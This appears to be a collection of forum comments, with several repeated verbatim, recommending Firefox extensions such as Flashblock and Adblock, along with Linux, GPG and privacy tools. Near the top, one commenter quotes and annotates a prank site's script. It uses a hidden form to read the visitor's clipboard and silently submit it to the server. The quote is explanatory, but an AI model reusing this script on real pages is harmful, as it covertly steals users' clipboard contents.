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never mind, found the answer. its a win98 bug.
solution (in 4th post). solution in an extension, and discussion.

I just want to say.. I have http://flashblock.mozdev.org/ [mozdev.org]Flashblock and nothing happened. It totally stopped that site. Its a great FF extension.

You didn't get the tabs, pop-ups and the gay porn -- but the contents of your clipboard were sent, unless you've got JavaScript turned off completely. Take a look at this (comments added):

<!--
Make a form, but use inline CSS to make it invisible (display:none).
-->
<form name="clip" method="post" action="index.php" style="display:none">
<input type="text" name="content">
<input type="hidden" name="send" value="1">
<input type="hidden" name="referer" value="">
<input type="hidden" name="user" value="">
<input type="submit">
</form>

<script language="javascript">
if(typeof clipboardData != 'undefined') {
// If we can get the clipboard, get it.
var content = clipboardData.getData("Text");
// Put it into the invisible form.
document.forms["clip"].elements["content"].value = content;
}
// Submit the invisible form.
document.forms["clip"].submit();
</script>

Then it has a second body tag containing the flash object that's responsible for the visible annoying stuff. I have to wonder what random stuff they're getting out of people's clipboards . . .

Huh, I just get four imaged letters G N A A and then a little FLASH BLOCK click to play logo.

If I click-to-play it opens up a bunch of windows, but I can close them faster than it can open them, and can close the tab. Annoying, but it can be dealt with. Some of the javascript behavior was also disabled by privoxy, which scrubs my html for javascript annoyances.

No sound though.

FlashBlock: http://flashblock.mozdev.org/
Privoxy: http://www.privoxy.org/

But if they don't mention greasemonkey, then the only excuse I'll accept is that it's too new to appear in print. I'm using it at work to clobber that last webapp so that I no longer have to use IE...

You really should give a link for Greasemonkey, and to the script repository.

Also, shameless pimpage, but I've built a Greasemonkey implementation for IE, GreasemonkIE. It's still in development (missing a pretty major feature right now, which should be sorted out soon -- covered in the blog entry above), but it works quite well considering IE's limitations. GreasemonkIE tries to re-use existing Greasemonkey user scripts as much as possible, but other browsers have user script support too. The new Opera beta has an implementation of user scripts, and PithHelmet does the same for Safari (among many other features). Up until yesterday, IE was the only browser left out of the user script craze, but I'm trying to rectify that.

Speaking as one of the "cognoscenti" who contributed to the book, I'd say that yes, Greasemonkey is a bit too new to have made it into the book. When I came onboard in late October 2004, most of the hacks had already been thought up and allocated. The deadline for the first draft of the hacks was November 22, and contributor's reviews were due by December 11.

Looking at the CVS repository for Greasemonkey ( http://www.mozdev.org/source/browse/greasemonkey/ ), it looks like the oldest files are four months old, which means that yes, Greasemonkey is too new to have had a chance to get in to the book. I imagine that it'll *probably* be featured in any subsequent editions. The problem is that Greasemonkey is really quite code-centric, far more so than most of the stuff in the last few chapters, and those chapters are already striking some as "too technical." Writing a hack would be tricky, as you'd have two main options, neither of which are particularly appealing:

* Delve into the nuts-and-bolts of programming to show users how to Get Stuff Done with Greasemonkey, which is outside the scope of the book, or
* treat The Code That Does Stuff as magic, and use e.g. Butler as an example of what can be done.

Of course, hacks.oreilly.com does allow you to submit your own hacks. If you want a job done right...

Installing a extension just so you can tweak a few bookmark icons is just a bit, you know...

I just want to say.. I have http://flashblock.mozdev.org/Flashblock and nothing happened. It totally stopped that site. Its a great FF extension.

this "comes free" with the Mozilla Archive Format extension (adds an option to the page Save As type menu). I just tested it, page opened in IE, seems to work, a little slow maybe. as for your 2nd request, maybe someone else can help, i don't know sorry. btw if you didn't post anonymous you could see this reply easier..

Is there a utility that will sync Firefox bookmarks?

Yes, it's called Bookmarks Synchronizer and is a Firefox extension

Rik

Go get you some filtering:

http://www.mozilla.org
http://www.proxomitron.info/
http://flashblock.mozdev.org/
http://adblock.mozdev.org/

Go get you some filtering:

http://www.mozilla.org
http://www.proxomitron.info/
http://flashblock.mozdev.org/
http://adblock.mozdev.org/

Via AdBlock :-)

http://adblock.mozdev.org/

Thing is, I don't seem to be a very typical RSS user. Most of them seem to be a lot better at divided-attention tasks than I am, and like to exploit that skill by having an RSS ticker, or something similar, in one corner of their screen. Which might not be a very good way to browse job listings.

I'd urge you to consider using Atom instead of RSS. It's not a big deal for the short term, since current applications seem to support pretty much the same feature set for both RSS and Atom feeds. But Atom seems to be a more extendable, forward-looking format, with support for "semantic web" features.

But for gods sake, emerge openoffice-bin, not the straight, uncompiled version (emerge openoffice). That is, unless you're up for 19hrs of compiling, for no real advantage.

I'm jumping into my first gentoo install, and managed to screw a fair amount up, and I had some wacky hardware issues to fight through. With that being said, as long as you can read, know about http://forums.gentoo.org/search.php, and have a friendly gentoo expert available to answer the occasional odd question, you should be all set.

The longest part of the install for me was emerging kde and openoffice-bin. I started at 10pm, and kde was still compiling when I left at 7:30 the next morning. Both were done by 4:30pm. FWIW, I'm running an XP1900 with 1/2 gb ram.

Oh, and the ultimate gentoo resource for new users?
http://mycroft.mozdev.org/download.html
Drop "gentoo forums" in the box and click the resulting link. ;)

[ Amendment IV ]
The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no Warrants shall issue, but upon probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized.

Want to read my stuff? Go ahead and crack it - no warrant necessary.

Get the rabbit installed on a machine behind your firewall
==> http://freenet.sourceforge.net/
Faster than freenet
==> http://www.i2p.net/
Encrypt Jabber
==> http://www.vanemery.com/Linux/Jabber/jabberd.html
Onion Routing
==> http://tor.eff.org/
Emerging Network To Reduce Orwellian Potency Yield
==> http://entropy.stop1984.com/
Free Internet telephony
==> http://skype.com/
GNU-ified P2p
==> http://www.gnu.org/software/gnunet/


DO NOT DENY yourself about 2 hours @ InfoAnarchy.org
OMG! ==> http://www.infoanarchy.org/wiki/index.php/Main_Pag e
LearnLearnLearnLearn ==> http://en.wikipedia.org/wiki/Cryptography

=================EMAIL ENCRYPTION===============
GPG (Free PGP)
==> http://gnupg.org/
Integrated with Thunderbird
==> http://enigmail.mozdev.org/
Mutt can't be beat as a mailreader and integrates GPG wonderfully.
==> http://mutt.blackfish.org.uk/
==> http://www.mutt.org/links.html
==> http://wiki.mutt.org/index.cgi?UserPages

!!! Please do not immediately send newly created keys to the keyservers (as many HOWTOs instruct new users to). They are already overflowing with "test keys" and other people's experiments from over the years THAT HAVE NO EXPIRATION and will never be deleted. These keys are "orphans" and most will never be used. As keyservers sync together, and most keys are never deleted once submitted - GET YOUR KEY SETUP CORRECTLY AND HAVE PRACTICE WITH IT BEFORE SENDING IT OFF TO THE KEYSERVERS!!! Otherwise storage requirements will continue to grow and using these in the future will become more difficult FOR ALL. Please, if you are just starting out with PGP or GPG or GnuPG or anything similar (the last two are in fact the same thing) use manual key distribution to begin (ascii armor your public key with

$ gpg --export --armor my@email.address.org

and copy and paste it into an email body or attach it to an email

$ gpg --export --armor my@email.address.org > myPubKey.txt

to gain practice with GPG before uploading your key. This way if you need to create another you won't have uploaded your mistakes. Many choices need to be made and it's worth getting things right before "going public" with your new digital ID. Experiment with yourself and a few different email accounts or with some friends first.)

SET AN EXPIRATION OF 2-5 YEARS OR SO AND MAKE SURE YOU HAVE YOUR PREFERENCES THE WAY YOU LIKE THEM BEFORE SENDING TO A KEYSERVER! Better yet is to HOST YOUR KEY ON YOUR WEBSITE (or try using http://biglumber.com/ instead to host your key and help c

According to the "to do" list in the release notes, the developer is looking into that.

It might not be quite the equivalent of IE's FTP functionality, but you should check out fireFTP.

If you want to block the javascript popups, just use the Adblock extension. Not only can it block images, but also scripts and flash and just about everything else. Combined with wildcards, you can block out everything from most major web advertising places, including most of those nasty js popup scripts.

Flash is evil!!
This page says exactly what I've always thought about Flash.

In this respect, Flashblock for Mozilla is the best program ever - to get rid of annoying flash ads.

Don't like ads use webmail/yahoo extension for Thunderbird. ;)

I use Adblock for Firefox.

Now I don't see graphical ads in yahoo mail.

Portable Firefox is great, but my favorite is Portable Thunderbird http://portablethunderbird.mozdev.org/
It's perfect for when I'm on holiday. No need to lug around a laptop to keep in touch with everyone. I've got all my friends in my address book, all my inbox and folders all on the USB drive. Just go to any internet cafe, and plug it in. Works great.

"So why write an entire browser instead of adding native widgets to the Mac port of Firefox?"

Where's the mac version?

There is no mac version. While Phoenix could be made to run on Mac without much trouble, we see no point in competing with Chimera. Chimera is the lightweight, standalone Mozilla browser solution for Mac OS X. We have received requests for a Mac classic version, and are considering the idea.

Any word on the progress to fix these [popups]? It's not just Firefox;...

Well, for Firefox and Mozilla, type "about:config" in the address bar, right click in the main window, new integer. Name it "privacy.popups.disable_from_plugins" and set the integer value to 2. It will reduce popups, especially if you have flash.

These hidden preferences for FireFox are fantastic... and one of the Mozilla developers documented them fully. He also created an extension to show them in the GUI.

XAML is to XUL what J++ (or c#) is to Java: Microsoft "innovation". They see a promising technology, reimplement (badly, if not ass-backwards) it to suit their purposes, call it new, and the PHB's are none the wiser.

Since it's against MS's interests to be cross platform, and XAML/Avalon is Longhorn/XP+SP3 (IE7) only, users/corporations have no choice but to choose the original technology, or pay for another ride on the upgrade-go-round.

Applications are already being built in XUL, go check out MozDev, or ActiveState's Komodo, or Nvu. At least one web-based application plans to have an available XUL interface (see my sig).

Can't play solitaire! I protest!
Solitaire for Firefox has a prominent place in my bizarre cathedral... :)

I've made a similar project called "Friedfox". This is for when you (1) don't want to carry your Firefox around all the time and (2) can download from the Internet fairly fast. It's also for people like me who just don't believe in hardware. It is a small Firefox installer that installs to a Windows user's profile rather than the system, so it doesn't require Administrator-level access.

In addition, I've streamlined the installer so it's a total of two clicks to install it. Since IE will let you "Open" programs from the web, you can instant-launch the installer by going to http://friedfox.mozdev.org/go . You can check out my cheesy web site for it.

I also have an Internet2-connected machine as the primary mirror for university students.

I've made a similar project called "Friedfox". This is for when you (1) don't want to carry your Firefox around all the time and (2) can download from the Internet fairly fast. It's also for people like me who just don't believe in hardware. It is a small Firefox installer that installs to a Windows user's profile rather than the system, so it doesn't require Administrator-level access.

In addition, I've streamlined the installer so it's a total of two clicks to install it. Since IE will let you "Open" programs from the web, you can instant-launch the installer by going to http://friedfox.mozdev.org/go . You can check out my cheesy web site for it.

I also have an Internet2-connected machine as the primary mirror for university students.

And as for his other point.
http://optimoz.mozdev.org/gestures/index.html

Think is though... Mouse gestures, big deal. I've never got into 'em personally. The Optimoz pie menus were kinda neat though.

Would have to copy and pase the url into IE to change my avatar or play games...

Kiss copying and pasting goodbye and download Launchy, one of the more useful Firefox extensions.

~Matt

Why so? They (Yahoo) can also use XUL for games! Dropping java would be a great relieve in the enduser side, because of efficient use of his/her resources

This site is using Flash to do its popups in FireFox. So you shouldn't see them if you don't have the Flash plugin installed.

It executes this javascript. That does a document.write() to create an EMBED with the source pointing to this flash applet. And that flash applet is the thing that opens the popup.

It also sets a cookie so that it only gives you a popup once per day. This is why changing your JavaScript settings may seem to block it. But messing with those settings has no real effect.

I have FlashBlock installed, but that's not enough. The Flash applet still gets a chance to run for a fraction of a second before FlashBlock hides it, and that's all it needs.

See this post on Asa Dotzler's blog for a workaround for this problem.

Does Flashblock help? There have been reports of popups through Flash (since Firefox has, AFAIK, no real way of knowing whether a popup from a plugin is legit).

I'm still waiting for thunderbird to support vcard =/ Maybe one day http://vcard.mozdev.org/ will have some better news than " I had made some good progress long ago, but subsequently lost all the code in an accident, before having checked it in. "

Russ Key - strange, I don't remember prefixing the domain with 'www'.

and I anounce my new Russ Key FireFox extension that allows users to type in TextArea and Text HTML fields in phonetic Russian and translate 'translit' (Russian typed in English letters) into Cyrillic.

I feel so small and insignificant :/

I wonder if the same effect could be implemented in Greasemonkey? There are already a couple of /. specific scripts in there, and I get tired of having to restart FF every time I add an extension.

Yes, it IS on BitTorrent now.

http://stacktrace.org/index_html/20050313-Knoppix3 .8CeBitTorrent/KNOPPIX_V3.8-2005-02-28-CeBIT_Editi on.iso.torrent

Here's the webpage this link comes from:
http://stacktrace.org/index_html/20050313-Knoppix3 .8CeBitTorrent

And, here is a (very slow, may be down now) conventional download:

http://dl1.gamerznet.org/vollversionen/unix/knoppi xx/KNOPPIX_V3.8-2005-02-28-CeBIT_Edition.iso

Here's the webpage that it came from (beware, heavy advertisements/popups, better get Adblock for your Firefox):

http://www.winfuture.de/news,19477.html

Enjoy! (To my knowledge, Knoppix is 100% Open Source, so all these links are legal)

Well then again, I am running AdBlock, and Tabbrowser Preferences. In Tabbrowser Preferences I have it set to make all popups into tabs. However this time Firefox popped up that bar saying it blocked a popup. With AdBlock, I am running the latest filters from this site. I'm also messing around with the experimental AdBlockLearner which also seems to have some success. I'm using FlashBlock to take care of any pesky Flash-based ads. Hope that helps! -Ares

Well then again, I am running AdBlock, and Tabbrowser Preferences. In Tabbrowser Preferences I have it set to make all popups into tabs. However this time Firefox popped up that bar saying it blocked a popup. With AdBlock, I am running the latest filters from this site. I'm also messing around with the experimental AdBlockLearner which also seems to have some success. I'm using FlashBlock to take care of any pesky Flash-based ads. Hope that helps! -Ares

Well then again, I am running AdBlock, and Tabbrowser Preferences. In Tabbrowser Preferences I have it set to make all popups into tabs. However this time Firefox popped up that bar saying it blocked a popup. With AdBlock, I am running the latest filters from this site. I'm also messing around with the experimental AdBlockLearner which also seems to have some success. I'm using FlashBlock to take care of any pesky Flash-based ads. Hope that helps! -Ares

Further to the sibling post, Mozillazine's Extensions Dev page has a wealth of fantastic resources for creating stuff. Once you get into the nitty-gritty, XULPlanet is mighty handy (and probably constitutes a lot of the "documentation" you require. Also, O'Reilly's Mozilla book is available free online.

With Adblock it wasn't. http://adblock.mozdev.org/

pop-up ads?

Good grief, they still do those?
Cure Part-1 - Cure Part-2 - Cure Part-3

I've noticed something about sites that people say have popups. I go to these sites, and twice now, I see something similar to this. Notice I made the box on the top left. That's the FlashBlock symbol, which blocks all flash elements on web pages and replaces them with that symbol until you click on them. If I click on the symbol, I get the popup. Therefore, I say a possible way to stop these new popups, for now, is to use FlashBlock. It allows you to have flash installed while avoided flash ads, since most of the websites you visit don't use flash except for ads, and the ones that do have flash content you want you just click on the icon.

This is quite cool, but I still prefer the ForecastFox extension for now.

what about http://flashblock.mozdev.org/ ?
I personally find this a necessity these days .

The closest thing I could recommend would be squeezing everything onto one line, using CompactMenu

Heres a screenshot of it being on one line. (I use mouse gestures for the other navigation buttons). In order to get rid of the extra lines, you have to uncheck both "Navigation Toolbar" and "Bookmarks Toolbar".

Its not as technically neat, but it really helps maximize screen space, something that this new Netscape Beta can't figure out.

The future is now.

Likewise, I never installed Flash, I always wanted to avoid stupid animated adverts, in addition to exploits. However, just today, I was pointed to the Flashblock extension for Firefox -- http://flashblock.mozdev.org/installation.html . Now I can have my Strongbad emails without worrying abut exploits.